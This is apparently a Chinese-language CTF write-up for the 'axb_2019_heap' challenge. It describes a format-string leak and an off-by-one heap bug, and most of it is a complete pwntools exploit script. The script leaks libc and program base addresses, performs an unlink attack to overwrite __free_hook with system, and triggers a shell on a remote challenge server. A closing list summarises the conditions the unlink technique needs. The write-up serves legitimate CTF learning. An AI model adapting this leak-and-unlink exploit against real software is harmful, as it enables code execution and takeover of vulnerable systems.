image.png
    保护全开,基本上改free_hook或者malloc_hook
    image.png
    这里有个off by one的漏洞。
    image.png
    申请堆块一定要大于0x80,所以不是fastbin attack
    image.png
    没有printf函数,也就是不能打印libc的地址,好在banner函数
    image.png
    格式化字符串漏洞。
    image.png
    栈上有很多地址,由于开了pie,所以我们程序的入口地址也要通过格式化字符串来泄露然后还有libc的地址。

    1. io.sendline("%15$p%19$p")

    程序中bss段上的控制堆块我们可以知道,所以unlink可以尝试一用

    1. from pwn import*
    2. from LibcSearcher import*
    3. context.log_level = 'debug'
    4. #context.arch = 'amd64'
    5. #io =process('./axb_2019_heap')
    6. io = remote("node4.buuoj.cn",28725)
    7. elf = ELF('./axb_2019_heap')
    8. #libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
    9. libc = ELF('libc-2.23.so')
    10. def debug():
    11. gdb.attach(io)
    12. pause()
    13. def creat(index,size,value):
    14. io.recvuntil(">> ")
    15. io.sendline("1")
    16. io.recvuntil("Enter the index you want to create (0-10):")
    17. io.sendline(str(index))
    18. io.recvuntil("Enter a size:")
    19. io.sendline(str(size))
    20. io.recvuntil("Enter the content:")
    21. io.sendline(value)
    22. def free(index):
    23. io.recvuntil(">> ")
    24. io.sendline("2")
    25. io.recvuntil("Enter an index:")
    26. io.sendline(str(index))
    27. def edit(index,value):
    28. io.recvuntil(">> ")
    29. io.sendline("4")
    30. io.recvuntil("Enter an index:")
    31. io.sendline(str(index))
    32. io.recvuntil("Enter the content: ")
    33. io.sendline(value)
    34. io.recvuntil("Enter your name: ")
    35. io.sendline("%15$p%19$p")
    36. io.recvuntil("0x")
    37. libc_start_main = int(io.recvuntil("0x")[:-2],16)
    38. log.success("libc_start_main:"+hex(libc_start_main))
    39. main_addr = int(io.recvuntil("\n")[:-1],16)
    40. libcbase = libc_start_main - libc.sym["__libc_start_main"]-240
    41. creat(0,152,"aaaa")
    42. creat(1,144,"bbbb")
    43. creat(2,144,"/bin/sh\x00")
    44. #debug()
    45. base = main_addr-0x116a
    46. ptr_addr = base+0x202060
    47. log.success("ptr_addr:"+hex(ptr_addr))
    48. system_addr = libcbase+libc.sym["system"]
    49. free_hook = libcbase+libc.sym["__free_hook"]
    50. payload = p64(0)+p64(0x91)+p64(ptr_addr-0x18)+p64(ptr_addr-0x10)+p64(0)*14+p64(0x90)+p8(0xa0)
    51. edit(0,payload)
    52. #debug()
    53. free(1)
    54. #debug()
    55. payload = p64(0)*3+p64(free_hook)+p64(0x98)
    56. edit(0,payload)
    57. #debug()
    58. payload = p64(system_addr)
    59. edit(0,payload)
    60. free(2)
    61. io.interactive()

    总结一下unlink的使用过程

    • unlink是在物理地址相邻的两个free堆块
    • 要存在一种漏洞可以改变是否free的这个信息
    • 在内存中构造fd与bk
    • 控制堆块的地址要明确
    • libc的地址要可以泄露
    • 控制堆块就会指向与自己地址相差3个字长的地址,就可以填入free_hook或者malloc_hook这两个地址